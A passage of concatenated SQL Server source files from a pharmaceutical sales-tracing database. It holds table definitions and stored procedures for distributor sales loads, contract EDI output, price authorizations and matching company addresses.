WHERE EDI_TRANSFER_STAT = 'P'
AND REC_STAT_CD = 'A'
END<file_sep>/PDI_SALESTRACING_DEV/VT_TEST/Tables/XREF_DTL.sql
CREATE TABLE [VT_TEST].[XREF_DTL] (
[Line] INT NULL,
[DistID] NVARCHAR (50) NULL,
[ZIP_RAW] NVARCHAR (50) NULL,
[ZIP_5] NVARCHAR (50) NULL,
[DistAcctID_VT] NVARCHAR (50) NULL,
[ZIP_LEN] INT NULL,
[DDS_EDI_ID] NVARCHAR (50) NULL,
[DistAcctID_DDS] NVARCHAR (50) NULL,
[CoAcctID_VT] INT NULL,
[CoAcctID_DDS] INT NULL,
[COACCT_MATCH_IN] NVARCHAR (50) NULL,
[CoAcct_NAME_VT] NVARCHAR (72) NULL,
[CoAcct_ADDR1_VT] NVARCHAR (59) NULL,
[CoAcct_ADDR2_VT] NVARCHAR (50) NULL,
[CoAcct_ADDR3_VT] NVARCHAR (20) NULL,
[CoAcct_CITY_VT] NVARCHAR (52) NULL,
[CoAcct_STATE_VT] NVARCHAR (50) NULL,
[CoAcct_ZIP_VT] NVARCHAR (50) NULL,
[DistAcct_NAME_VT] NVARCHAR (65) NULL,
[DistAcct_ADDR1_VT] NVARCHAR (64) NULL,
[DistAcct_VT_ADDR2] NVARCHAR (60) NULL,
[DistAcct_VT_ADDR3] NVARCHAR (52) NULL,
[DistAcct_VT_CITY] NVARCHAR (50) NULL,
[DistAcct_VT_STATE] NVARCHAR (50) NULL,
[DistAcct_VT_ZIP] NVARCHAR (50) NULL,
[CoAcct_NAME_DDS] NVARCHAR (75) NULL,
[CoAcct_ADDR1_DDS] NVARCHAR (64) NULL,
[CoAcct_ADDR2_DDS] NVARCHAR (60) NULL,
[CoAcct_ADDR3_DDS] NVARCHAR (20) NULL,
[CoAcct_CITY_DDS] NVARCHAR (52) NULL,
[CoAcctI_STATE_DDS] NVARCHAR (50) NULL,
[CoAcct_ZIP_DDS] NVARCHAR (50) NULL,
[DistAcct_DDS_NAME] NVARCHAR (65) NULL,
[DistAcct_DDS_ADDR1] NVARCHAR (64) NULL,
[DistAcct_DDS_ADDR2] NVARCHAR (60) NULL,
[DistAcct_DDS_ADDR3] NVARCHAR (52) NULL,
[DistAcct_DDS_CITY] NVARCHAR (50) NULL,
[DistAcct_DDS_STATE] NVARCHAR (50) NULL,
[DistAcct_DDS_ZIP] NVARCHAR (50) NULL,
[RAW_NAME_MATCH] NVARCHAR (50) NULL,
[RAW_ADDR1_MATCH] NVARCHAR (50) NULL,
[RAW_ADDR2_MATCH] NVARCHAR (50) NULL,
[RAW_ADDR3_MATCH] NVARCHAR (50) NULL,
[RAW_CITY_MATCH] NVARCHAR (50) NULL,
[RAW_STATE_MATCH] NVARCHAR (50) NULL,
[RAW_ZIP_MATCH] NVARCHAR (50) NULL,
[COACCT_NAME_MATCH] NVARCHAR (50) NULL,
[COACCT_ADDR1_MATCH] NVARCHAR (50) NULL,
[COACCT_ADDR2_MATCH] NVARCHAR (50) NULL,
[COACCT_CITY_MATCH] NVARCHAR (50) NULL,
[COACCT_STATE_MATCH] NVARCHAR (50) NULL,
[COACCT_ZIP_MATCH] NVARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spUpdate_SalesPeriod.sql
CREATE PROCEDURE [STAGE].[spUpdate_SalesPeriod]
@Load_ID INT, @SALES_PERIOD VARCHAR(10)
WITH EXEC AS CALLER
AS
BEGIN
UPDATE [STAGE].[SLS_TRC_LOAD_DTL] SET SALES_PERIOD = @SALES_PERIOD WHERE LOAD_ID = @Load_ID;
UPDATE [STAGE].[SALES_TRACING_CURR] SET SALES_PERIOD = @SALES_PERIOD WHERE LOAD_ID = @Load_ID;
END<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_UPI.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_UPI]
@vSales_Period varchar(10), @vDIST_ID varchar(20) = null
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT DIST_ID, DIST_NR, SALES_PERIOD, TRC_PROD_ID as PROD_ID
, L.LKUP_CD_DES as Err_Desc
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR] S
JOIN PDI_SALESTRACING_DEV.REF.LKUP_CD L ON S.ERR_CD = L.LKUP_CD AND L.LKUP_DOMAIN_CD = 'SLS_TRC_CALC' AND L.CD_TYP = 'ERROR'
WHERE S.Err_Cd = 'UPI'
AND S.SALES_PERIOD = isnull(@vSales_Period,S.SALES_PERIOD)
AND S.DIST_ID = isnull(@vDIST_ID,S.DIST_ID)
END<file_sep>/PDI_SALESTRACING_DEV/TRC/User Defined Types/ContractReconStat.sql
CREATE TYPE [TRC].[ContractReconStat] AS TABLE (
[CNT_ID] VARCHAR (20) NULL,
[PROD_ID] VARCHAR (15) NULL,
[ReconStat] CHAR (1) NULL);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/COMPANY_SEGMENT.sql
CREATE TABLE [CMPNY].[COMPANY_SEGMENT] (
[CMPNY_SGMNT_ID] SMALLINT IDENTITY (1, 1) NOT NULL,
[CMPNY_SGMNT_NM] VARCHAR (50) NOT NULL,
[CMPNY_SGMNT_DESC] VARCHAR (255) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL,
[FACILITY_PRIORITY] SMALLINT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Stored Procedures/GET_SP_COMPANY_TYPE_DROPDOWN.sql
-- =============================================
-- Author: <NAME>
-- Create date: <Create Date,,>
-- Description: DROP DOWN FOR PDI1 WEBSITE PAGE=NEW_CONTRACT.ASPX
-- =============================================
CREATE PROCEDURE CMPNY.GET_SP_COMPANY_TYPE_DROPDOWN
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
SELECT CMPNY_TYP_ID, CASE WHEN CMPNY_TYP_NM = 'EU' THEN 'LOCAL' ELSE CMPNY_TYP_NM END AS CMPNY_TYP_NM
FROM CMPNY.COMPANY_TYPE
WHERE CMPNY_TYP_NM IN ('GPO','IDN','EU')
ORDER BY 1
END
<file_sep>/PDI_SALESTRACING_DEV/CNT_DEV/Tables/CNT_EB.sql
CREATE TABLE [CNT_DEV].[CNT_EB] (
[CNT_EB_PK] INT IDENTITY (1, 1) NOT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[CMPNY_ID] INT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL,
[REC_STAT_CD] CHAR (1) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spGetEDI_845_output_TST.sql
-- =============================================
-- Author: <Author,,Name>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [STAGE].[spGetEDI_845_output_TST]
( @RCVR_ID varchar(20), @TRNSFR_ID int)
WITH EXEC AS CALLER
AS
BEGIN
SELECT
C.SENDER_ID AS [Sender ID], C.RCVR_ID AS [Receiver ID],
EH.EDI_HDR_CD AS [Notification Purpose Code], C.TRNSFR_DTE AS [Notification Date],
[MF Contract Number], [Contract Status Code], [Buyer Group Contract Number], [MF Contract Name], [Previous Contract Number],
[Contract Effective Date], [Contract Expiration Date], [Replaced Contract Expiration Date], [Contract Tier Number],
[Buyer Group Name], [Eligible Buyer Name], [Manufacturer Name], [Buyer Group HIN], [Manufacturer HIN],
[Eligible Buyer Account Number], [Eligible Buyer GPO Account Number],
[Eligible Buyer Address 1], [Eligible Buyer Address 2], [Eligible Buyer City], [Eligible Buyer State], [Eligible Buyer Zip],
[Eligible Buyer Country Code],
T.[Update Reason Code],
[Eligible Buyer Effective Date], [Eligible Buyer Expiration Date],
EH.EDI_LIN_CD
[Item Description], [Manufacturers Item ID],
[Contract Unit Price], [Quantity Information], [Unit of Measure], [Product Effective Date], [Product Expiration Date], T.[Orig Contract Expiration Date],
'310819000000' AS [Manufacturer GLN]
FROM [EDI].[EDI845_TRANSFER_TMPLT_TST] T
JOIN [EDI].[EDI_TRNSFR_CNTRL_TABLE_TST] C ON T.[Transfer ID] = C.TRNSFR_ID
JOIN EDI.EDI_CD EH ON T.[PDI Action Code] = EH.PDI_ACTION_CD AND C.RCVR_ID = EH.TP_EDI_ID
WHERE C.TRNSFR_STAT = 'P' AND C.TRNSFR_TYP_CD = 'SND' and c.RCVR_ID=@RCVR_ID and c.TRNSFR_ID=@TRNSFR_ID
ORDER BY C.RCVR_ID, C.NOTFN_PRPS_CD
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/SPGET_PRC_AUTH.sql
-- =============================================
-- Author: <NAME>
-- Create date: 12/19/2018
-- Description: PRICE AUTHORIZATION aggregate
-- =============================================
CREATE PROCEDURE [STAGE].[SPGET_PRC_AUTH]
AS
BEGIN
SET NOCOUNT ON;
INSERT INTO [STAGE].[PRC_AUTH1]
([GPO_NM]
,[GPO_MBR_ID]
,[GPO_MBR_NM]
,[GPO_MBR_ADDR1]
,[GPO_MBR_ADDR2]
,[GPO_MBR_CITY]
,[GPO_MBR_ST]
,[GPO_MBR_ZIP]
,[GPO_CNT_NR]
,[MFG_CNT_NR]
,[TIER_NR]
,[TIER_DESC]
,[PRC_EFF_DT]
,[PRC_EXP_DT]
,[IDN_NM]
,[DIST_NM_1]
,[DIST_NM_2]
,[PRC_ACT_NR]
,[LIC_NR]
,[PRC_ACT_DT]
,[STATUS]
,[SRC_REC_ID]
,[DEA]
,[GLN]
,[HIN]
,[SEGMENT]
)
SELECT
left ([GPO_NM],15)
,left ([GPO_MBR_ID],15)
,left ([GPO_MBR_NM],250)
,left ([GPO_MBR_ADDR1],250)
,left ([GPO_MBR_ADDR2],250)
,left ([GPO_MBR_CITY],50)
,left ([GPO_MBR_ST],50)
,left ([GPO_MBR_ZIP],5)
,left ([GPO_CNT_NR],15)
,left ([MFG_CNT_NR],15)
,isnull ([TIER_NR],isnull(try_convert(int,case when CHARINDEX('Grandfathered',[TIER_DESC])>0 then '6'else substring([TIER_DESC],CHARINDEX('TIER',[TIER_DESC])+5,1)end),'99'))
,left ([TIER_DESC],250)
,try_convert(date,[PRC_EFF_DT])
,try_convert(date,[PRC_EXP_DT])
,left ([IDN_NM],250)
,left ([DIST_NM_1],250)
,left ([DIST_NM_2],250)
,left([PRC_ACT_NR],50)
,left([LIC_NR],10)
,try_convert(date,[PRC_ACT_DT])
,left([STATUS],20)
,left([SRC_REC_ID],15)
,left([DEA],50)
,left([GLN],50)
,left([HIN],50)
,left([SEGMENT],50)
FROM [PDI_SALESTRACING_DEV].[STG0].[PRC_AUTH]
----------------------------------------------------------------------------------------------------------------------------------------------------------------
update u
set u.MFG_CNT_NR=s.MFG_CNT_NR , U.TIER_NR=S.TIER_NR
from [STAGE].[PRC_AUTH1] u
inner join stg0.premier_cont_ref s on
u.GPO_CNT_NR=s.GPO_CNT_NR
AND U.GPO_NM='PREMIER' AND U.[TIER_DESC]=S.[TIER_DESC]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
IF OBJECT_ID('tempdb..#PRC_AUTH') IS NOT NULL DROP TABLE #PRC_AUTH
--DROP TABLE #PRC_AUTH
CREATE TABLE #PRC_AUTH
(
PRC_AUTH_ID INT NULL,
[GPO_NM] [varchar](15) NULL,
[GPO_MBR_ID] [varchar](15) NULL,
[GPO_MBR_NM] [varchar](250) NULL,
[GPO_MBR_ADDR1] [varchar](250) NULL,
[GPO_MBR_ADDR2] [varchar](250) NULL,
[GPO_MBR_CITY] [varchar](50) NULL,
[GPO_MBR_ST] [varchar](50) NULL,
[GPO_MBR_ZIP] [varchar](5) NULL,
[GPO_CNT_NR] [varchar](15) NULL,
[MFG_CNT_NR] [varchar](15) NULL,
[TIER_NR] [int] NULL,
[TIER_DESC] [varchar](250) NULL,
[PRC_EFF_DT] [date] NULL,
[PRC_EXP_DT] [date] NULL,
[IDN_NM] [varchar](250) NULL,
[DIST_NM_1] [varchar](250) NULL,
[DIST_NM_2] [varchar](250) NULL,
[PRC_ACT_NR] [varchar](50) NULL,
[LIC_NR] [varchar](10) NULL,
[PRC_ACT_DT] [date] NULL,
[STATUS] [varchar](20) NULL,
[SRC_REC_ID] [varchar](15) NULL,
[DEA] [varchar](50) NULL,
[GLN] [varchar](50) NULL,
[HIN] [varchar](50) NULL,
[SEGMENT] [varchar](50) NULL,
[REC_STAT] [char](1) NULL,
[REC_EFF_DT] [date] NULL,
[REC_EXP_DT] [date] NULL
)
INSERT INTO #PRC_AUTH( PRC_AUTH_ID,GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP, GPO_CNT_NR, MFG_CNT_NR, TIER_NR, TIER_DESC, PRC_EFF_DT, PRC_EXP_DT, IDN_NM, DIST_NM_1, DIST_NM_2, PRC_ACT_NR, LIC_NR, PRC_ACT_DT, STATUS, SRC_REC_ID, DEA, GLN, HIN, SEGMENT, REC_STAT, REC_EFF_DT, REC_EXP_DT )
SELECT DISTINCT T.PRC_AUTH_ID, T.GPO_NM, T.GPO_MBR_ID, T.GPO_MBR_NM, T.GPO_MBR_ADDR1, T.GPO_MBR_ADDR2, T.GPO_MBR_CITY, T.GPO_MBR_ST, T.GPO_MBR_ZIP, T.GPO_CNT_NR, T.MFG_CNT_NR, T.TIER_NR, T.TIER_DESC, T.PRC_EFF_DT, T.PRC_EXP_DT, T.IDN_NM, T.DIST_NM_1, T.DIST_NM_2, T.PRC_ACT_NR, T.LIC_NR, T.PRC_ACT_DT, T.STATUS, T.SRC_REC_ID, T.DEA, T.GLN, T.HIN, T.SEGMENT, T.REC_STAT, T.REC_EFF_DT, T.REC_EXP_DT FROM STAGE.PRC_AUTH1 T,
(SELECT GPO_NM, GPO_MBR_ID,min(PRC_EFF_DT) as PRC_EFF_DT
FROM STAGE.PRC_AUTH1
GROUP BY GPO_NM, GPO_MBR_ID, mfg_cnt_NR) I
WHERE T.GPO_NM = I.GPO_NM AND T.PRC_EFF_DT = I.PRC_EFF_DT AND T.GPO_MBR_ID = I.GPO_MBR_ID
AND T.PRC_EXP_DT >= TRY_CONVERT(DATE,'09/30/2018')
TRUNCATE TABLE STAGE.PRC_AUTH1
INSERT INTO STAGE.PRC_AUTH1 (GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP, GPO_CNT_NR, MFG_CNT_NR, TIER_NR, TIER_DESC, PRC_EFF_DT, PRC_EXP_DT, IDN_NM, DIST_NM_1, DIST_NM_2, PRC_ACT_NR, LIC_NR, PRC_ACT_DT, STATUS, SRC_REC_ID, DEA, GLN, HIN, SEGMENT,REC_STAT)
SELECT GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP, GPO_CNT_NR, MFG_CNT_NR, TIER_NR, TIER_DESC, PRC_EFF_DT, PRC_EXP_DT, IDN_NM, DIST_NM_1, DIST_NM_2, PRC_ACT_NR, LIC_NR, PRC_ACT_DT, STATUS, SRC_REC_ID, DEA, GLN, HIN, SEGMENT,REC_STAT
FROM #PRC_AUTH
END
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/CompanyPriceListImport.sql
CREATE TABLE [FTPOUT].[CompanyPriceListImport] (
[ITEM_NO] NVARCHAR (30) NOT NULL,
[LIST_PRICE] DECIMAL (10, 4) NULL,
[EFF_DATE] DATE NOT NULL,
[EXP_DATE] DATE NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_DISTRIBUTOR.sql
CREATE TABLE [STAGE].[DIM_DISTRIBUTOR] (
[DIST_KEY] SMALLINT NOT NULL,
[COMPANY_ID] CHAR (3) NOT NULL,
[TRACING_NAME] VARCHAR (30) NOT NULL,
[DIV_ID] CHAR (4) NOT NULL,
[DIST_ID] VARCHAR (15) NOT NULL,
[DIST_NAME] VARCHAR (100) NOT NULL,
[DIST_PARENT_NAME] VARCHAR (100) NOT NULL,
[DIST_TOP_PARENT_NAME] VARCHAR (100) NOT NULL,
[DIST_SALES_TYPE] VARCHAR (100) NOT NULL,
[DIST_PRICING_PARENT_ID] INT NOT NULL,
[DIST_PRICING_PARENT_NAME] VARCHAR (100) NOT NULL,
[DIST_ADDR1] VARCHAR (100) NULL,
[DIST_ADDR2] VARCHAR (100) NULL,
[DIST_CITY] VARCHAR (100) NULL,
[DIST_STATE] CHAR (2) NULL,
[DIST_ZIPCODE] VARCHAR (10) NULL,
[DIST_COUNTRYCODE] CHAR (3) NULL,
[DIST_COUNTRYNAME] VARCHAR (100) NULL,
[CURRENT_INDICATOR_Y_N] CHAR (1) NOT NULL,
[COMPLERE_RECORD_INDICATOR_Y_N] CHAR (1) NOT NULL,
[EFFECTIVE_DATE] DATE NOT NULL,
[EXPIRATION_DATE] DATE NOT NULL,
[UPDATED_BY] VARCHAR (20) NOT NULL,
[MAJOR_LTC_INDICATOR] CHAR (1) NULL,
[MARKET_SEGMENT] VARCHAR (50) NULL,
[DATASOURCE] VARCHAR (20) NULL,
[ETL_AUDIT_KEY] INT NULL,
[CURRENT TIMESTAMP] DATETIME NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_CURR_MNTH.sql
CREATE PROCEDURE [TRC].[spTRC_GET_CURR_MNTH]
@vSALES_PERIOD varchar(10), @vSLS_PERIOD_TYP varchar(20),
@currSALES_PERIOD varchar(10) output, @currDSPLY_NM varchar(20) output
WITH EXEC AS CALLER
AS
BEGIN
SELECT @currSALES_PERIOD = A.SLS_PERIOD, @currDSPLY_NM = A.SLS_PERIOD_DSPLY_NM
FROM TRC.SALES_PERIOD_ADMIN A
WHERE A.SLS_PERIOD_TYP = 'CURRENT';
SELECT
D.DIST_ID, D.DIST_TRC_NM, D.SALES_PERIOD,
MAX(D.RECVD_DTE) AS RECVD_DTE,
D.LOAD_STAT,
format(SUM(D.REC_CNT), 'N0') AS REC_CNT,
SUM(D.REC_CNT_CALC) AS REC_CNT_CALC,
format(SUM(D.EXCP_COUNT), 'N0') as EXCP_COUNT,
format(SUM(D.CS_QTY), 'N0')as CS_QTY ,
format(D.ROLLING_6_MN_AV_QTY, 'N0') as ROLLING_6_MN_AV_QTY,
format(D.ROLLING_12_MN_AV_QTY , 'N0') as ROLLING_12_MN_AV_QTY ,
format(SUM(D.SALES_AMT), 'N0') as SALES_AMT,
format(D.ROLLING_6_MN_AV_AMT, 'N0') as ROLLING_6_MN_AV_AMT,
format(D.ROLLING_12_MN_AV_AMT, 'N0') as ROLLING_12_MN_AV_AMT
, d.PROC_STAT,D.SRC_FILE_TYP , A.SLS_PERIOD_DSPLY_NM
FROM [STAGE].[SLS_TRC_LOAD_DTL] D
JOIN TRC.SALES_PERIOD_ADMIN A ON D.SALES_PERIOD = A.SLS_PERIOD
WHERE A.SLS_PERIOD_TYP = ISNULL(@vSLS_PERIOD_TYP,A.SLS_PERIOD_TYP)
AND D.SALES_PERIOD = ISNULL(@vSALES_PERIOD,D.SALES_PERIOD)
GROUP BY
D.DIST_ID, D.DIST_TRC_NM, D.SALES_PERIOD,
D.LOAD_STAT, D.ROLLING_6_MN_AV_QTY, D.ROLLING_12_MN_AV_QTY,
D.ROLLING_6_MN_AV_AMT, D.ROLLING_12_MN_AV_AMT,
D.PROC_STAT, D.SRC_FILE_TYP , A.SLS_PERIOD_DSPLY_NM
ORDER BY SUM(D.SALES_AMT) desc -- CONVERT(INT,D.SALES_AMT) DESC
END<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/NBR_CNVRTR.sql
CREATE TABLE [REF].[NBR_CNVRTR] (
[NBR_STR] VARCHAR (20) NULL,
[NBR_NUM] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_ROLE.sql
CREATE TABLE [PCM].[PCM_ROLE] (
[ROLE_ID] INT NULL,
[ROLE_NM] VARCHAR (50) NULL,
[ROLE_DESC] VARCHAR (50) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREATE_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spMatch_MasterData.sql
CREATE PROCEDURE [STAGE].[spMatch_MasterData]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE STAGE.TRC_ENDUSER_1
SET COMPANY_ID = NULL
UPDATE E
SET COMPANY_ID = C.CMPNY_ID
FROM STAGE.TRC_ENDUSER_1 E
JOIN CMPNY.COMPANY C ON E.DISTACCTSHIPADDR1 = C.CMPNY_ADDR_1 AND E.DISTACCTSHIPZIP = C.CMPNY_ZIP
AND C.CMPNY_ADDR_2 IS NULL AND E.DISTACCTSHIPADDR2 IS NULL
UPDATE E
SET COMPANY_ID = C.CMPNY_ID
FROM STAGE.TRC_ENDUSER_1 E
JOIN CMPNY.COMPANY C ON E.DISTACCTSHIPADDR1 = C.CMPNY_ADDR_1 AND E.DISTACCTSHIPADDR2 = C.CMPNY_ADDR_2 AND E.DISTACCTSHIPZIP = C.CMPNY_ZIP
AND C.CMPNY_ADDR_2 IS NOT NULL AND E.DISTACCTSHIPADDR2 IS NOT NULL
UPDATE E1
SET E1.COMPANY_ID =E2.COMPANY_ID
FROM STAGE.TRC_ENDUSER_1 E1
JOIN STAGE.TRC_ENDUSER_1 E2 on E1.DISTCOID = e2.DISTCOID AND E1.DISTACCTID = E2.DISTACCTID AND E1.DISTACCTSHIPZIP = E2.DISTACCTSHIPZIP
AND E1.COMPANY_ID IS NULL AND E2.COMPANY_ID IS NOT NULL
WHERE E2.DISTID in ('CARDINAL','OWNMIN','SCHEIN','SENECA','MOOREM','MEDLINE','HCA','NDC','CROSSTEX','PALMTREE','CARDPRES','TWINMD','MEDDYN','AEROMD','TRINITY')
and E2.DISTACCTSHIPADDR1 <> 'NO ADRESS';
UPDATE STAGE.TRC_ENDUSER_1
SET Match_by_Addr = 1
WHERE COMPANY_ID IS not null
UPDATE E
SET COMPANY_ID_MAX = X.HOSPITAL_ID
FROM STAGE.TRC_ENDUSER_1 E
JOIN STAGE.PDI_MAX_TO_DEFHC_CROSSWALK X ON E.COACCTMAX = X.CompanyId
JOIN STAGE.DHC_COMPANY C ON X.HOSPITAL_ID = C.DHC_CO_ID
UPDATE STAGE.TRC_ENDUSER_1
SET COMPANY_ID = COMPANY_ID_MAX, Match_by_MAX = 1
WHERE COMPANY_ID_MAX IS NOT NULL AND COMPANY_ID IS NULL
END;<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_BUYER_GROUP_BY_NAME.sql
CREATE PROCEDURE [CNT].[spGET_BUYER_GROUP_BY_NAME]
@compTypeId varchar(30),
@name varchar(7)
AS
BEGIN
SET NOCOUNT ON;
IF(@compTypeId IS NULL)
BEGIN
SELECT DISTINCT top 20 CMPNY_NM+' - '+STAGE.FNINIT(CMPNY_CITY)+', '+CMPNY_ST + '--' + CAST(CMPNY_ID AS varchar(20))
FROM CMPNY.COMPANY WHERE CMPNY_NM like + @name +'%'
END
ELSE
BEGIN
SELECT DISTINCT top 20 CMPNY_NM+' - '+STAGE.FNINIT(CMPNY_CITY)+', '+CMPNY_ST + '--' + CAST(CMPNY_ID AS varchar(20))
FROM CMPNY.COMPANY C WHERE CMPNY_TYP_ID = @compTypeId and CMPNY_NM like + @name +'%'
END
END
<file_sep>/PDI_SALESTRACING_DEV/MDM/Stored Procedures/spTRC_SAVE_CO_USR_FEEDBK.sql
CREATE PROCEDURE [MDM].[spTRC_SAVE_CO_USR_FEEDBK]
@FEEDBK CHAR(1), @FEEDBK_ID INT
WITH EXEC AS CALLER
AS
BEGIN
UPDATE PDI_SALESTRACING_DEV.MDM.USR_FEEDBK_CO
SET USR_FEEDBK_CD = @FEEDBK
WHERE
USER_FEEDBK_CO_ID = @FEEDBK_ID
END<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_EXC_CORR.sql
CREATE PROCEDURE [TRC].[spTRC_GET_EXC_CORR] @vCNT_ID VARCHAR(30) = NULL,
@vPROD_ID VARCHAR(15) = NULL
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT TOP 10
D.GROUP_NAME,
D.CONTRACT_NO,
C.ITEMID,
CONVERT(CHAR(10), C.[Exp Date], 126) AS EXP_DT,
'Description' AS CNT_DES,
D.TIER_LEVEL
FROM PDI_SALESTRACING_DEV.STAGE.CONT_PRICE C
JOIN [PDI_SALESTRACING_DEV].[STAGE].[DIM_CONTRACT] D ON C.[Contract ID] = D.CONTRACT_NO
AND D.CURRENT_INDICATOR = 'Y'
WHERE C.ITEMID = @vPROD_ID
AND C.[Exp Date] > '2018-09-01'
AND C.[Contract ID] != @vCNT_ID
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_LTC_SNF_Overview.sql
CREATE TABLE [STAGE].[PDI_LTC_SNF_Overview] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] INT NULL,
[HQ_LATITUDE] FLOAT (53) NULL,
[HQ_LONGITUDE] FLOAT (53) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[NETWORK_ID] INT NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[PG_PARENT_ID] VARCHAR (MAX) NULL,
[CBSA_CODE] NVARCHAR (100) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] INT NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[NUMBER_BEDS] INT NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[DATE_FISCAL_YEAR_END] VARCHAR (MAX) NULL,
[NUMBER_BEDS_MEDICARE] INT NULL,
[HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[SNF_CERTIFICATION] VARCHAR (MAX) NULL,
[SNF_CERTIFICATION_DATE] VARCHAR (MAX) NULL,
[NUMBER_HOSPITALS] INT NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[CIN_AFFILIATIONS] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spDHC_TL.sql
CREATE PROCEDURE [STAGE].[spDHC_TL]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
-------------------- CLEANSE NAME -----------------------------------
EXEC [STAGE].[spDHC_NAME_CLEANSE];
-------------------- CLEANSE ADDRESS --------------------------------
TRUNCATE TABLE STAGE.TEMP_ADDR_LAUNDRY;
INSERT INTO STAGE.TEMP_ADDR_LAUNDRY( SRCE_DATA_ID, ADDR1, ADDR2, CITY, STATE, ZIP )
SELECT DHC_CO_ID, DHC_CO_ADDR_1, DHC_CO_ADDR_2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP
FROM STAGE.DHC_COMPANY ;
EXEC [STAGE].[spNAD_LAUNDRY_LITE];
UPDATE D
SET
UPD_ADDR1 = UPPER(T.UPD_ADDR1),
UPD_ADDR2 = UPPER(T.UPD_ADDR2),
UPDT_CO_CITY = UPPER(T.CITY),
UNIQ_FLAG = CASE WHEN T.ADRR2_TYP IS NULL THEN 1 ELSE 2 END
FROM STAGE.DHC_COMPANY D
JOIN STAGE.TEMP_ADDR_LAUNDRY T ON D.DHC_CO_ID = T.SRCE_DATA_ID
OPTION (MERGE JOIN) ;
-------------------------------------------------------------------------------------
-- Unique Flag for DHC
UPDATE D1
SET UNIQ_FLAG = 11
FROM STAGE.DHC_COMPANY D1
JOIN (SELECT C.UPD_ADDR1, C.DHC_CO_ZIP, count(*) CNT
FROM STAGE.DHC_COMPANY C
WHERE C.UNIQ_FLAG = 1
GROUP BY C.UPD_ADDR1, C.DHC_CO_ZIP
HAVING count(*) > 1 ) D2
ON D1.UPD_ADDR1 = D2.UPD_ADDR1 AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
WHERE D1.UNIQ_FLAG = 1
UPDATE D1
SET UNIQ_FLAG = 12
FROM STAGE.DHC_COMPANY D1
JOIN (SELECT C.UPD_ADDR1, C.UPD_ADDR2 , C.DHC_CO_ZIP, count(*) CNT
FROM STAGE.DHC_COMPANY C
WHERE C.UNIQ_FLAG = 2
GROUP BY C.UPD_ADDR1, C.UPD_ADDR2, C.DHC_CO_ZIP
